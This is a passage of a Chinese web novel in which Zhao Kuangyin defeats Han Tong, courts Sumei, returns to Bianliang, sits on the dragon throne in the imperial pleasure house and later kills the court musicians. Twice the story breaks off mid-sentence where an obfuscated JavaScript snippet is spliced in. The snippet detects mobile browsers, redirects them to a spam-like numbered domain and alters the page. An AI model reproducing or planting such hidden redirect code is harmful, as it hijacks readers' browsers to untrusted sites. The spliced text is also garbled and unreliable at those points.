赵匡胤这边也有些吃力,他知道韩通蛮力大,久战下去自己也讨不到好。可就在这时,他忽然觉得脚下一稳,好像有股看不见的力量托着自己,原本有些发酸的胳膊也轻快了不少。他不知道,这是当地的城隍和土地神在暗中相助——毕竟他是未来的开国皇帝,哪能在这种时候吃亏? 那边韩通正想使出“金鸡独立”,一脚踢向赵匡胤的腰腹,可刚抬起脚,就觉得脚踝突然一麻,像是被什么东西拐了一下,整个人瞬间失去平衡,往前踉跄了两步。赵匡胤眼疾手快,趁机上前,伸脚往韩通腿弯处一扫,“噗通”一声,韩通就摔了个四脚朝天。 赵匡胤紧跟着扑上去,一只手按住韩通的胸口,另一只手攥着拳头,作势就要打:“服不服?再敢嚣张,我今天就废了你!” 韩通被按在地上,动弹不得,脸上又红又白——红的是羞,白的是怕。他想硬撑着说“不服”,可赵匡胤的拳头就在眼前,那力道看着就吓人,他只能强声道:“打得好!算你厉害!但你别太过分!” 赵匡胤冷笑一声:“过分?你刚才对素梅姑娘动手的时候,怎么不说过分?想让我放你也行,叫我三声‘祖爷爷’,再叫素梅三声‘祖奶奶’,我就饶了你。不然的话,今天就让你见阎王爷去!” 韩通一听这话,脸都绿了。他在大名府也是有头有脸的人物,要是真这么叫了,以后还怎么见人?当下就梗着脖子说:“红脸的,咱们都是江湖好汉,输了就是输了,要杀要剐悉听尊便,想让我在一个‘粉头’面前赔罪,门都没有!” “哦?还嘴硬?”赵匡胤说着,拳头就往韩通的肩膀上砸了一下。韩通疼得龇牙咧嘴,额头上瞬间冒了汗。赵匡胤又要打,韩通赶紧喊:“别打了!别打了!祖爷爷!我叫!我叫还不行吗?”他心里把赵匡胤骂了千百遍,可身子被按住,只能认怂,“祖爷爷,我跟你无冤无仇,你别再打了行不行?” 赵匡胤又问:“素梅呢?还没叫呢。” 韩通咬着牙,脸憋得发紫,过了好一会儿,才不情不愿地朝着素梅的方向喊:“祖奶奶……我平时也没得罪过你,你就算不帮我,也别看着我被打啊……你就劝劝这位爷,放我一马吧。” 素梅站在旁边,早就吓得脸色发白。她看着韩通那副狼狈样,又看了看赵匡胤英挺的侧脸,心里又怕又敬——怕的是这场打斗闹大了不好收拾,敬的是赵匡胤肯为自己出头。听到韩通叫自己“祖奶奶”,她更是羞得低下头,不敢说话。 就在这时,院门外进来两个穿着差役服的人,是府里的承值。两人一看见地上的韩通,就忍不住笑了:“哟,这不是韩二虎吗?平时在大名府横着走,今天怎么栽跟头了?”其中一个承值还故意调侃,“你不是说没人能打得过你吗?怎么现在跟条狗似的趴在地上?还要叫一个姑娘‘祖奶奶’,你这英雄气概,可真是让人开眼啊!” 韩通听着这话,恨不得找个地缝钻进去,头埋得更低了。 另一个承值则转向赵匡胤,拱了拱手说:“这位公子,算了吧。他这顿打也挨够了,以后肯定不敢再嚣张了。您要是再打下去,真出了人命,对您也没好处。” 赵匡胤见有人劝,也不想把事闹大,便松开了手:“韩通,我告诉你,今天我放你一马,你赶紧离开大名府,别再让我看见你。要是你敢留在这儿,下次我可就没这么好说话了!” 韩通从地上爬起来,拍了拍身上的灰,不敢再看赵匡胤,也不敢跟承值搭话,低着头就往外走。他心里又羞又恨,想着:“今天算我倒霉,栽在这红脸后生手里。这大名府是待不下去了,我先去平阳躲躲,等以后练好了本事,再回来找他报仇!”就这么一路低着头,灰溜溜地离开了大名府。 这世间的缘分就是这么奇妙,今天在这儿闹得不可开交,说不定日后还会有相遇的时候——只是韩通没想到,他这一逃,再跟赵匡胤见面时,两人的身份早已天差地别。 不说韩通逃往平阳图谋报仇,单说赵匡胤打走韩通后,转身看向素梅。素梅还没从刚才的惊吓中缓过来,眼眶红红的,手里还攥着一块绣了一半的手帕。 “姑娘,让你受惊吓了。”赵匡胤走上前,语气比刚才温和了不少。 素梅抬起头,看着赵匡胤,小声说:“多谢公子为我出头……只是……您刚才把韩通得罪惨了,他会不会回来报复您啊?” 赵匡胤笑了笑:“放心吧,他要是敢回来,我再收拾他一顿。”他见素梅长得清秀,性子又软,心里竟生出几分好感。 旁边的王妈妈见状,赶紧打圆场:“哎哟,公子您可真是英雄啊!素梅,还不快谢谢公子?我看公子也累了,快请公子到厢房里歇会儿,我去让厨房弄点酒菜。” 素梅点点头,领着赵匡胤进了厢房。两人坐下后,素梅给赵匡胤倒了杯茶,小声问:“公子您贵姓啊?怎么会来大名府呢?” 赵匡胤也不隐瞒,把自己因为失手伤人,被发配到大名府的事说了一遍——当然,没说自己家里的背景,只说自己是个普通人家的子弟。素梅听了,更觉得赵匡胤不容易,又佩服他的侠义。 往后的日子里,赵匡胤时常来勾栏院找素梅。有时两人一起说话,素梅给赵匡胤缝衣服,赵匡胤给素梅讲自己走南闯北的经历;有时赵匡胤会带些小玩意儿给素梅,素梅则会做些点心给赵匡胤吃。王妈妈看在眼里,心里也替素梅高兴,私下里劝素梅:“素梅啊,这赵公子看着是个靠谱的,不像那些只会花言巧语的纨绔子弟。你要是能跟了他,以后也有个依靠。” 素梅听了,脸会红,但心里也确实有了跟赵匡胤过一辈子的念头。终于有一天,在一个月色正好的晚上,赵匡胤握着素梅的手说:“素梅,我知道我现在没什么本事,还在发配期间,但我向你保证,等我刑期满了,一定会回来接你,娶你做我的妻子。” 素梅眼里含着泪,点了点头:“我信你,赵公子。我等你。”两人就这么定了终身,当晚还简单设了桌酒席,算是成了夫妻之实。 日子过得飞快,转眼两年就过去了。赵匡胤在大名府这两年,没少惹事——不是帮人打抱不平,就是跟地头蛇较劲,好几次都差点闹到官府。幸好大名府的总兵窦溶跟赵匡胤的父亲有旧交,每次都帮着遮掩,才没出大事。 这天,窦溶坐在私衙里,眉头紧锁。他身边的幕僚李先生见了,就问:“总兵大人,您这是在愁什么呢?” 窦溶叹了口气:“还不是为了赵匡胤那小子。他来大名府两年,惹了多少事?前几天还有人把状告到我这儿,说他打伤了本地的乡绅。我虽然能帮他遮掩一次两次,可次数多了,难免会被上面知道。到时候不仅他要倒霉,我也得受牵连啊。” 李先生想了想,说:“大人,依我看,不如早点让赵公子回去。他的刑期还有半年,您不如就说怕他父亲担心,提前给他批文,让他回汴梁。这样一来,您不用再担责任,大名府也能安宁些。” 窦溶点点头:“你说得有道理。我也是这么想的。再让他待下去,指不定还会出什么事。”当下就决定,让人去馆驿请赵匡胤来。 赵匡胤接到消息,心里还挺纳闷——窦溶平时很少找他,这次突然叫他,难道是出了什么事?他赶紧换了身衣服,去了总兵府。 见到窦溶后,赵匡胤行了礼,分宾主坐下。窦溶先客套了几句:“贤弟啊,你来到大名府,转眼就两年多了。这两年我事情多,也没好好招待你,你可别见怪。” 赵匡胤赶紧说:“总兵大人您太客气了,这两年多亏您照顾,我才能安稳度日。您有什么话,就直说吧。” 窦溶笑了笑:“也没什么大事。就是想着,你的刑期也快满了,你父亲肯定在家里盼着你回去。我已经给你写了封信,还有提前期满的批文,再给你四十两银子当路费,你明天就回汴梁吧。” 赵匡胤一听,又惊又喜——惊的是窦溶居然让他提前回去,喜的是终于能回家了,还能早点见到父亲。他赶紧站起来,对着窦溶作了个揖:“多谢总兵大人!您的恩情,我赵匡胤记在心里。等我回去见到父亲,一定跟他说您的好话。以后要是有机会,我一定报答您!” 窦溶摆摆手:“都是世交,说这些干什么。我已经让人备了酒席,今天就当给你饯行。” 当晚,两人喝了不少酒。第二天一早,赵匡胤收拾好行装,先回了趟勾栏院,跟素梅告别。素梅一听他要走,当场就哭了:“你要走了,什么时候才回来接我啊?” 赵匡胤把素梅搂在怀里,安慰道:“你放心,我回汴梁安顿好后,很快就会来接你。你在这儿等着我,别胡思乱想。”他给素梅留了些银子,又叮嘱王妈妈多照顾素梅,才依依不舍地离开了勾栏院。 带着两个管家,赵匡胤踏上了回汴梁的路。一路上,他归心似箭,恨不得马上飞到家里。白天赶路,晚上住店,不知不觉就到了汴梁城外。进了城,看着熟悉的街道,赵匡胤心里一阵感慨——三年没回来,汴梁好像变了些,又好像没变。 走到十字路口时,赵匡胤听见旁边几个商贩在议论自己。一个说:“这不是赵大舍吗?他不是被发配了吗?怎么回来了?”另一个说:“可不是嘛!他走了三年,咱们这儿安生了不少。他这一回来,指不定又要惹事了。”还有一个劝道:“别这么说,人家出去三年,说不定长大了,改了性子呢?”第一个又说:“改性子?江山易改,本性难移!我看悬。” 赵匡胤听了,心里又好气又好笑——自己在汴梁的名声,还真是不怎么样。不过他也没在意,毕竟自己现在确实跟以前不一样了。 正往前走,忽然有人拍了他的肩膀一下:“这不是匡胤兄吗?你可算回来了!” 赵匡胤回头一看,又惊又喜——居然是张光远和罗彦威!这两人是他小时候的玩伴,关系一直很好。三人相见,别提多高兴了。张光远拉着赵匡胤的手说:“走,咱们去前面的酒楼上喝几杯,好好聊聊!” 赵匡胤点点头,先让两个管家把行李送回家,自己则跟着张光远、罗彦威上了酒楼。找了个靠窗的位置坐下,点了几个菜,又叫了一壶酒,三人边喝边聊。 张光远先问:“匡胤兄,你这三年在大名府过得怎么样?有没有受委屈?” 赵匡胤笑了笑,把自己在大名府的事说了一遍——怎么打走韩通,怎么跟素梅定情,还有窦溶怎么照顾他。张光远和罗彦威听了,都夸赵匡胤有本事,还说等他接素梅回来,一定要见见。 接着,张光远又叹了口气:“你走这三年,汴梁可变了不少,特别是朝廷里,乱得很。” 赵匡胤一愣:“怎么回事?皇上怎么了?” 张光远压低声音说:“别提了!前段时间,南唐给皇上送了十八个女乐,里面有两个长得特别好看,一个叫无价格宝,一个叫掌上珠。皇上自从得了这两个女乐,就跟丢了魂似的,天天沉迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519268|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美色,连朝都不上了。还花了好多钱,盖了个‘御勾栏’,把那些女乐都安置在里面,天天在那儿喝酒享乐,有时候还带着大臣一起去。” 罗彦威也插话说:“可不是嘛!为了盖御勾栏,皇上加了不少赋税,老百姓都快过不下去了。有大臣劝皇上别这么干,结果还被皇上治了罪。照我看,这江山迟早要完!” 赵匡胤听了,心里很不是滋味——他虽然不是什么大官,但也知道皇上沉迷享乐对国家不是好事。他想了想,又问:“那御勾栏,老百姓能进去看吗?” 张光远说:“这倒还行,皇上说要‘与民同乐’,所以不管是当官的还是老百姓,都能进去看。我和彦威去过一次,里面盖得可豪华了,亭台楼阁,什么都有。” 赵匡胤心里一动——自己三年没回汴梁,正好去看看这御勾栏到底是什么样。当下就说:“既然能进去,那咱们现在就去看看怎么样?” 张光远点点头:“行啊,我陪你去!”罗彦威有些犹豫:“会不会不太好?那毕竟是皇上常去的地方……”张光远拍了他一下:“怕什么?咱们就是去看看,又不干嘛!”罗彦威想了想,也同意了。 三人结了账,下了酒楼,往御勾栏的方向走去。没走多久,就到了御勾栏门口。门口有几个小太监在巡逻,其中一个叫小李子的,见赵匡胤三人穿着普通,还以为是来看热闹的老百姓,也没多问。 进了御勾栏,赵匡胤一眼就被里面的景象惊呆了——到处都是雕梁画栋,亭台楼阁错落有致,路边还种着各种奇花异草,比他在大名府见过的任何地方都豪华。张光远指着不远处一座高楼说:“那就是玩花楼,皇上平时就在那儿享乐。” 赵匡胤好奇地说:“咱们上去看看?”两人点点头,跟着赵匡胤一起上了玩花楼。 刚走进楼里,赵匡胤就看见正中间放着一张特别大的椅子,椅子上雕着龙,旁边还有两个绣墩。他问:“这椅子是谁坐的?” 张光远小声说:“那是龙椅,只有皇上能坐。旁边那两个绣墩,是给丞相坐的。”他又指了指东西两边:“你看,东边挂的是龙凤鼓,西边挂的是景阳钟。皇上每次来,都会让人敲钟擂鼓,通知那些女乐过来伺候。” 赵匡胤听了,心里忽然冒出一个大胆的念头——自己要是坐在龙椅上,会是什么感觉?他这会儿喝了点酒,胆子也大了,当下就对张光远和罗彦威说:“光远,你去敲钟;彦威,你去擂鼓。我坐在龙椅上,咱们看看那些女乐会不会来!” 张光远和罗彦威吓了一跳——这可是欺君之罪啊!罗彦威赶紧说:“匡胤兄,这可不行!要是被人发现了,咱们都得死!” 张光远也说:“是啊,太危险了!” 可赵匡胤这会儿酒劲上来了,哪里听得进去:“怕什么?咱们就玩一会儿,没人会发现的。快去吧!”说着,就把张光远往钟楼那边推,又把罗彦威往鼓楼那边推。 张光远和罗彦威心里虽然害怕,但架不住赵匡胤催促,再加上自己也有点酒劲,就真的去了——张光远拿起钟锤,“咚!咚!咚!”敲了起来;罗彦威也拿起鼓槌,“咚咚锵!咚咚锵!”擂起了鼓。 钟声和鼓声在御勾栏里回荡,很快就惊动了掌院太监。掌院太监正在屋里喝茶,听见钟鼓声,还以为皇上来了,赶紧对旁边的小李子说:“快!通知所有女乐,皇上驾到,让她们赶紧去玩花楼伺候!” 小李子不敢怠慢,撒腿就往各个女乐的住处跑,边跑边喊:“皇上驾到!女乐们快去玩花楼接驾!” 那些女乐一听皇上来了,吓得赶紧收拾打扮,拿上自己的乐器,一窝蜂地往玩花楼跑。无价格宝和掌上珠走在最前面,两人心里还嘀咕——今天皇上怎么这么早就来了? 很快,一群女乐就涌进了玩花楼。她们一进门,就赶紧跪下,齐声喊:“臣妾等接驾来迟,望皇上恕罪!” 赵匡胤坐在龙椅上,听着众人喊“皇上”,心里竟有些得意,忍不住笑着说:“起来吧,都别跪着了。” 这话一出,女乐们都愣住了——这声音不对啊!无价格宝胆子大,抬头往龙椅上一看,差点吓晕过去——龙椅上坐着的,根本不是皇上,而是一个红脸膛的陌生后生!旁边的绣墩上,还坐着两个少年子弟! 无价格宝又惊又怒,当下就站起来,指着赵匡胤骂道:“你是什么人?竟敢擅坐龙椅,假扮皇上!你好大的胆子!军卒们呢?快把这个贼人抓起来!” 掌上珠也反应过来了,跟着喊:“是啊!快抓贼!” 赵匡胤本来还挺高兴,被无价格宝这么一骂,顿时火了:“你个贱婢!本公子让你们起来,你们不谢恩也就罢了,还敢骂我?看我不收拾你!”说着,就站起来,抬手一巴掌打在无价格宝脸上。 无价格宝哪里受过这种气?被打得踉跄了几步,撞翻了旁边的桌子,茶杯、盘子碎了一地,头发也散了。她又气又怕,哭着喊:“杀人了!杀人了!” 掌上珠见了,吓得转身就想跑。赵匡胤哪能让她跑掉?上前一步,一脚踢在掌上珠的腿上。掌上珠“哎哟”一声,从楼梯上滚了下去,摔在地上,半天没爬起来。 张光远和罗彦威这会儿酒劲全醒了,吓得脸都白了。张光远赶紧拉着赵匡胤的胳膊说:“匡胤兄!别打了!咱们闯大祸了!快走吧!再不走就来不及了!” 罗彦威也说:“是啊!快逃吧!” 可已经晚了。楼下的掌院太监听见楼上的吵闹声,又看见掌上珠滚下来,顿时知道出事了。他赶紧喊来二十多个虎贲军,让他们拿着棍棒绳索,往玩花楼上冲:“快!楼上有贼人假扮皇上!把他们抓起来!” 很快,一群军卒就涌进了玩花楼,把赵匡胤、张光远、罗彦威三人围在了中间。一个军卒大喊:“你们三个好大的胆子!竟敢欺君罔上!快束手就擒!” 赵匡胤也知道今天逃不掉了,索性也不慌了。他见一个军卒拿着短棍朝自己打来,侧身一躲,同时抬起右脚,一脚踢在那军卒的膝盖上。军卒疼得“哎哟”一声,跪倒在地,短棍也掉在了地上。赵匡胤顺势捡起短棍,挥舞着朝军卒们打去:“谁敢过来,我就打谁!” 张光远见赵匡胤动手了,也只能硬着头皮上——他从地上捡起一根梢棒,帮着赵匡胤打军卒。罗彦威没找到武器,情急之下,抱起旁边的金交椅,朝军卒们砸去。 一时间,玩花楼里乱成了一团——军卒们的喊叫声、棍棒的碰撞声、桌椅的破碎声混在一起。赵匡胤三人虽然勇猛,但军卒们人多势众,很快就被逼到了角落里。 赵匡胤看着周围的军卒,心里暗暗想:“今天要是冲不出去,可就真完了。得想个办法突围才行。”他眼睛四处扫视,想找个出口。 不知道赵匡胤能不能从玩花楼里逃出去,咱们下回再接着说。 4. 第 4 章 话说赵匡胤、张光远、罗彦威三人,在玩花楼上跟二十多个军士争执起来,双方混打了一阵。那虎贲军被打得浑身力气都耗光了,瘫在地上大口喘气,最后喊了一声,各自找路往楼下逃,只想保住性命。 张光远擦着额头的汗,拉了拉赵匡胤的胳膊:“大哥,咱们既然打赢了,赶紧走啊!再耽误会儿,要是他们报给五城兵马司,带兵过来,到时候咱们人少打不过人多,可就跑不掉了!” 赵匡胤把手里的短棍往地上顿了顿,眼里还带着酒劲上来的凶气:“二位兄弟,怕他们干什么?他们今天不来就算了,要是真带兵来,俺索性闹一场大的,让他们整整齐齐来,灰头土脸回去,这才能显出你大哥我的本事!”说完,他头一个往楼下走,拎着短棍往外打,院子两边种的那些珍贵花草,被他随手乱砸,没一会儿就花叶满地、花盆碎裂,好好的景致变得一片狼藉,活像遭了场劫难。 这边刚闹完,就有个虎贲军连滚带爬跑去报给五城兵马司了。没多大工夫,兵马司就点齐了弓箭手,往御勾栏这边赶,把院子围得水泄不通,喊杀声震天响。 三人虽说勇猛,可一来刚才喝了不少酒,脑子还有点晕乎乎的;二来跟军士打了半天,力气也快用完了。这时候想冲出包围圈,哪想到那些新来的兵个个像打了鸡血,一个能顶十个,勇猛得很,根本冲不出去。 张光远急得直跺脚,语气里带着点埋怨:“大哥,刚才我劝你你不听,现在好了,真走不了了,这可咋办啊!” 罗彦威也皱着眉帮腔:“大哥,光远说得对,咱们别硬拼了,要是真被抓了,家里人还得受连累……” 赵匡胤听着两人的话,心里的火气一下子涌了上来,胸口像堵了团烈火。他只觉得头顶“嗡”的一声,脑门像被劈开似的,一道红光里窜出条赤须火龙,半隐在云雾里,在空中张牙舞爪。自古都说虎啸会刮风,龙走会下雨,赵匡胤这元神一出来,就听“轰隆”一声霹雳,顿时天昏地暗,碎石和沙子被风吹得打在人脸上生疼,紧接着狂风暴雨就来了,闪电一道接一道,雷声震得人耳朵嗡嗡响。 又一声霹雳过后,天上突然砸下来冰雹,个个都有碗那么大,直往兵马上砸。那些兵吓得赶紧扔了弓箭,抱着头四处乱窜,哪还顾得上抓人,只求能保住小命。赵匡胤趁机拎起短棍,喊着张光远和罗彦威:“快跟俺走!”三人趁着混乱冲出勾栏,各自往家跑。这情景,正应了那句话: 鳌鱼挣脱了金钩,摆着尾巴再也不回来了。 御勾栏被这场冰雹砸得一塌糊涂,兵们跑得四处都是,躲的躲、藏的藏。过了好一会儿,天才放晴,太阳又出来了。众兵探头探脑地从躲藏的地方出来,聚在一起,个个都吓得咬着手指头直吐舌头:“这辈子从没见过这么大的冰雹,真是从古到今都少见,也太吓人了!” 有的兵摸着被砸肿的额头,脸上青一块红一块的:“我这头被砸得现在还疼,刚才差点以为要开瓢了!”还有的扶着肩膀哼哼:“我这肩膀被砸了一下,现在动都动不了,这冰雹要是再大点儿,命都没了!” 又歇了会儿,众人勉强打起精神,往院子里走,四处找了一圈,哪还有那三个闹事儿的人的影子。再看院子里的景致,花草被砸得烂在地上,花盆碎成好几片,石桌也被冰雹砸出了坑,彻底毁得不成样子。众人没别的办法,只能站在那儿叹气。 眼看天快黑了,兵们也各自散了。管这勾栏院的太监急得像热锅上的蚂蚁,搓着手转圈,一点主意都没有,只能让人把五城兵马司的头头请来,再叫上那些女乐,一起商量怎么办。 商量了大半天,终于想了个糊弄皇上的法子——就像古时候“指鹿为马”那样,把事儿瞒过去。绝不能说是几个醉汉打架闹事,只能把眼前这冰雹当替罪羊,说都是冰雹惹的祸,把御院的花草砸坏了,这样既能暂时应付过去,大家也能免得受罚。 这种事儿,历朝历代的权臣和太监们常干,都是这么敷衍了事,也别指望他们能说实话。最让人担心的是,现在的皇上没什么主见,看不透这些鬼把戏,这才是最可悲的。商量好以后,他们连夜就进宫给皇上奏报去了,这里先按下不表。 再说赵匡胤跑回家,一进门就跪在地上去给父母行礼:“不孝儿子,离开您二老这么久,没能好好照顾您,犯了不少错,求爹娘看在儿子知道错的份上,原谅儿子的不孝之罪。” 赵弘殷(赵匡胤父亲)见了他,脸上虽然没什么好脸色——毕竟儿子当初犯了错被发配,现在没到期限就回来,心里难免有气。可父子天性摆在那儿,事关家里的荣辱,心里还是忍不住生出怜悯,语气也软了下来,从生气变成了高兴:“我儿,你怎么没到期限就回来了?” 赵匡胤赶紧站起来,从怀里掏出文书:“爹,是窦世兄看在您的面子上,虽然期限没到,还是让我提前回来了。这里有批文,您看。”说完,他把批文递过去,又拿出窦世兄写的问安信。 赵弘殷看完批文和信,赶紧叫家里的仆人把批文送到府里去报备。这时候,杜夫人(赵匡胤母亲)走过来,拉着赵匡胤的手嘱咐:“我儿,你从今天起,可得改改你那性子,好好做人,给爹娘争点脸面,别再像以前那样乱闯祸了,不然我和你爹天天提心吊胆的。你得时时刻刻想着这点,才算尽了孝道。” 赵匡胤连连点头:“娘,我记住了。” 正说着,赵弘殷突然站起来,说:“我去书房待会儿。”可刚走一步,就皱紧眉头,“呀”地叫了一声,往后退了一步,差点摔倒。杜夫人吓得赶紧叫仆人过来,扶着赵弘殷进书房休息。赵弘殷一步一拐,走得磕磕绊绊,看着特别费劲。 赵匡胤看着父亲的样子,心里犯起了嘀咕,忍不住问:“娘,我离开家这么久,爹是不是生病了?怎么走路这么不方便?” 杜夫人心里咯噔一下——她本来不想说实情,怕儿子性子急,又去闯祸。可看着儿子担忧的眼神,又不能不回答,只能含糊着说:“你爹没什么大病,就是昨天上朝的时候,马突然失了前蹄,摔了一跤,伤了腿,所以走路不方便,过几天就好了。” 赵匡胤听了,没再多问,可心里的疑惑一点没少——父亲骑马多年,怎么会轻易摔下来?他正想着,杜夫人又说:“你路上累了,赶紧回房休息吧。” 赵匡胤点点头,转身回了自己房间。一进门,就看见妻子贺金蝉坐在床边等他。两人互相问了安好,赵匡胤坐在椅子上,脑子里还在想父亲的事儿,怎么想都觉得不对劲,就问贺金蝉:“娘子,我爹到底怎么了?从什么时候开始这样的?刚才看他走路的样子,可不像是简单摔了一跤,你跟我说实话,我好去请大夫。” 贺金蝉那时候年纪还小,没什么心思,也没想起婆婆嘱咐要隐瞒的话,就实话实说了:“公公以前身体一直好好的,哪有什么病啊!就是南唐国主送了一群女乐给皇上,皇上收下以后,天天就知道喝酒听曲,不管朝政,花了好多钱,老百姓都快穷得活不下去了。公公看不过去,就上奏折劝皇上,让皇上拆了勾栏院,把女乐送回去,亲近贤臣、远离小人,好好处理朝政、爱护百姓。可皇上看了奏折特别生气,要治公公的罪,幸好有好多大臣求情,最后只打了公公四十御棍,所以公公的两条腿又酸又疼,走不了路。” 赵匡胤听完,拳头“砰”地砸在桌子上,眼里冒着火:“原来是这么回事!早知道爹受了这么大委屈,刚才在玩花楼的时候,我就该把那些女乐杀了!”他越想越气,心里冒出个念头:“一不做二不休,等夜里没人了,我再去勾栏院一趟!要是能碰到那昏君,就一起杀了报仇;碰不到的话,先把那些女乐解决了,也给爹出口气!” 拿定主意后,赵匡胤假装累了,倒在床上和衣躺下。贺金蝉见他睡着了,也不敢惊动他,自己也和衣睡了。 赵匡胤躺了一会儿,侧着耳朵听——听见贺金蝉的呼吸越来越沉,知道她睡熟了。他轻轻爬起来,从墙上摘下一口宝剑,藏在衣服里。悄悄走出房门,从后园的墙上翻了出去。 街上静悄悄的,只有月光照着路。赵匡胤快步走到勾栏院门口,看了看天色,大概已经二更天了。勾栏院的大门关得紧紧的,四周一点声音都没有。他往西边看了看,看见一道红墙,不算太高,墙外面还有不少树,长得歪歪扭扭的。 赵匡胤伸手抓住树枝,脚一蹬就爬上了墙。他站在墙上往院里看,里面是一块空地,没什么人。他纵身跳下去,往里走,又看到一道仪门。这时候,两个小虎贲军提着灯笼,从仪门里出来巡逻。 赵匡胤赶紧放轻脚步,跟在他们后面,等走近了,“唰”地拔出宝剑,一下一个,把两个小兵砍倒在地。他挨着门旁边躲了躲,看见旁边有棵大杨树,又爬上树,从树上跳进了仪门。 他轻手轻脚地往里走,听见两边走廊的厢房里都是虎贲军的呼噜声——原来那些兵都关着门睡觉呢。赵匡胤心里想:“要是先杀了这些兵,肯定会耽误时间,还是先饶了他们,等办完事再说。” 他顺着走廊走,又翻过一道花墙,就到了御花园。月光下,花园里满地都是残花败叶,显然是白天被冰雹砸的。他往前走了走,看见前面有座高楼,屋顶直插夜空,正是白天闹过的玩花楼。再往玩花楼后面看,还有一座高楼,原来那就是十八个女乐住的地方。 赵匡胤绕到后楼,看见窗户里透出灯光,就凑到门缝边听。里面的女乐们正你一言我一语地说话,声音里满是怨气。 一个穿绿衣服的女乐拍着桌子说:“今天那三个小子也太过分了!把咱们打得那么惨,真是气死人了!” 另一个穿粉衣服的女乐叹了口气:“打人还不算最糟的,最可气的是把御花园砸得乱七八糟,收拾都没法收拾。偏偏又下了场大冰雹,让他们跑了!虽然咱们跟皇上说,是冰雹砸坏的,可我就是咽不下这口气!想私下找他们算账,又不知道他们叫什么、住哪儿,怎么找啊?” 还有个穿黄衣服的女乐,眼珠一转,压低声音说:“我看找他们也不难!今天坐在龙椅旁边的那个红脸小子,我听人说过,是双龙巷赵指挥的儿子,叫赵匡胤,本来就爱惹事生非。前几天赵指挥上奏折,要拆勾栏院、送咱们回去,皇上生气打了他四十御棍——说不定是赵指挥怀恨在心,让他儿子来报仇的!咱们也别声张,想个法子把赵匡胤骗进来,偷偷杀了他,神不知鬼不觉,多好!” 赵匡胤在门外听得清清楚楚,肺都快气炸了——这些女乐不仅不认错,还想害自己!他大喝一声:“你们这些贱人!敢算计你爷爷我?”一脚踹开门,手里握着宝剑就冲了进去。 女乐们抬头一看,吓得脸都白了,冷汗顺着脖子往下流,有的躲到桌子底下,有的直接跪在地上磕头:“大人饶命!我们都是被逼的,不是故意的!” 赵匡胤哪里肯听——想起父亲被打的模样,想起她们刚才的算计,他手起剑落,一个接一个地砍过去。没一会儿,十八个女乐就都成了无头鬼。有诗为证: 想偷偷算计真龙天子,哪想到死神转眼就到。 千年花楼还留着血腥味,从此御院再也没有美貌女子。 赵匡胤杀了女乐,心里却突然慌了——他知道自己闯了大祸。白天已经闹了一场,五城兵马都来抓过他,幸好有冰雹帮忙才逃走;现在又杀了皇上的女乐,要是皇上知道了,肯定会画影图形抓他,到时候不仅自己没命,家里人也会受牵连。 他定了定神,心里想:“现在只能先瞒着爹娘,逃到舅舅杜思雄那儿去。舅舅手里有兵权,在关西威望高,住在他那儿应该安全。等过个一年半载,事情平息了,我再回来。” 拿定主意,赵匡胤转身下楼,顺着原来的路翻墙出去。回到家后,他轻手轻脚地进了房,看见贺金蝉还在睡。他把沾了血的衣服脱下来,藏在床底下,又找了顶鹰翎大帽戴上,换了件轻便的衣服,系上鸾带,揣了几两银子当路费,挂上宝剑,背了个小包袱,拿了条蟠龙棍——故意打扮成参军的样子,免得被人怀疑。 一切准备好后,他又从后园翻墙出去。这时候,远处的谯楼已经敲了五下鼓,天快亮了。赵匡胤不敢耽误,迈开步子往关西方向跑,速度快得像飞一样。正是: 双手劈开生死路,一身跳出是非门。 赵匡胤往关西逃去,这里先按下不表。 再说勾栏院的差役,第二天早上起来,要去院里打扫。刚走到二门口,就看见地上躺着两个死了的虎贲军,吓得腿都软了,站在那儿半天没反应过来。缓过神后,他们赶紧跑去报告掌院太监。 太监赶来一看,确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519269|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认两个小兵已经死了,又带着人上了后楼。楼上空无一人,静得吓人。众人心里犯嘀咕,往房间里一看——只见女乐们东倒西歪地躺在地上,头和身子都分了家,满地都是血,血腥味直冲鼻子。 众人吓得魂都快飞了,像被雷劈了一样,个个脸色惨白。掌院太监也慌了,赶紧下楼,骑上马就往皇宫跑,把这事奏报给了隐帝。 隐帝一听,气得直跺脚,心疼得不行,就像丢了无价之宝一样,当场下旨,让人把女乐的尸首好好埋葬了。又命令五城兵马司把城门都关了,挨家挨户搜查——谁敢藏凶手,就诛九族;谁能抓住凶手,就赏一千两银子。 这道圣旨一下,汴梁城里炸开了锅。老百姓家家户户都吓得不敢出门,当兵的挨家敲门搜查,整个城里一片慌乱。 赵弘殷那天早上起来,没什么事做,就叫丫鬟去请赵匡胤出来,想问问他昨天去哪了。丫鬟跑到后房,对贺金蝉说:“贺娘子,麻烦叫公子出来,老爷有话问他。” 贺金蝉愣了一下:“公子?我早上醒的时候,就没看见他了,不知道去哪了。” 丫鬟赶紧前前后后找了一圈,连赵匡胤的影子都没找着,只能回去告诉赵弘殷。 就在这时候,家里的仆人拿着一张报单跑进来:“老爷,不好了!昨天夜里,御勾栏的十八个女乐被人杀了!现在皇上让五城兵马司挨家搜查,说谁藏凶手就诛九族!” 赵弘殷接过报单,越看越心惊——女乐被杀,儿子失踪,两件事都发生在昨天夜里,难道是儿子干的?他赶紧叫杜夫人:“你去问问金蝉,昨天晚上匡胤回房后,有没有跟她说什么?这孩子突然不见了,肯定有问题!” 